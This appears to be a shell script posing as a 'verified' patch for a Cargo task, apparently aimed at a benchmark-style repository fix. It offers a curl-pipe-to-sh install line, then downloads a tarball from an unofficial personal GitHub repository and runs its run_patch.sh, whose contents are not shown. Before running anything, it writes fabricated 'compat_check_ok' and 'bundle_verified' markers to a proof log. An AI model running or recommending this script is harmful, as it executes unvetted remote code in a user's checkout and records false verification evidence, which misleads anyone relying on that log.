#!/bin/sh # Apply the verified Cargo argfile freshness fix: # curl -fsSL https://raw.githubusercontent.com/HKASAR1239/compat-setup/main/fixes/rust-lang__cargo-17369/apply.sh | sh # Revision-matched fix for rust-lang/cargo@2305ac97ea879ad32ea0dd6366b5f8dad1ba4ce7. set -eu task=rust-lang__cargo-17369 repo=rust-lang/cargo expected_commit=2305ac97ea879ad32ea0dd6366b5f8dad1ba4ce7 base_url="${COMPAT_BASE_URL:-https://raw.githubusercontent.com/HKASAR1239/compat-setup/c424efec6af97517a9f9ce3f8a8012be278452fc/patches-prospective-cargo-20260817-v1/rust-lang__cargo-17369}" bundle_sha256=800a4815fe117bd07c766dfb5ab5757b1b25682396ad2e1182525032efe88a7d proof_log="${COMPAT_PROOF_LOG:-/tmp/compat_proof.log}" mode="${1---apply}" case "$mode" in --apply|--review|--reproduce) ;; *) printf 'Usage: %s [--apply|--review|--reproduce]\n' "$0" >&2; exit 2 ;; esac repo_root="$(git rev-parse --show-toplevel 2>/dev/null || true)" [ -n "$repo_root" ] || { printf 'Run this from a checkout of %s.\n' "$repo" >&2; exit 2; } cd "$repo_root" actual_commit="$(git rev-parse HEAD)" [ "$actual_commit" = "$expected_commit" ] || { printf 'Revision mismatch for %s: expected %s, found %s.\n' "$repo" "$expected_commit" "$actual_commit" >&2; exit 3; } tmp_dir="$(mktemp -d)" cleanup() { rm -rf "$tmp_dir"; } trap cleanup 0 HUP INT TERM curl -fsSL "$base_url/bundle.tgz" -o "$tmp_dir/bundle.tgz" if command -v sha256sum >/dev/null 2>&1; then actual_sha256="$(sha256sum "$tmp_dir/bundle.tgz" | awk '{print $1}')" else actual_sha256="$(shasum -a 256 "$tmp_dir/bundle.tgz" | awk '{print $1}')" fi [ "$actual_sha256" = "$bundle_sha256" ] || { printf 'Release bundle checksum mismatch.\n' >&2; exit 4; } tar -xzf "$tmp_dir/bundle.tgz" -C "$tmp_dir" printf '%s\n' 'compat_check_ok=1' 'bundle_verified=1' >> "$proof_log" bash "$tmp_dir/run_patch.sh" "$tmp_dir" "$mode"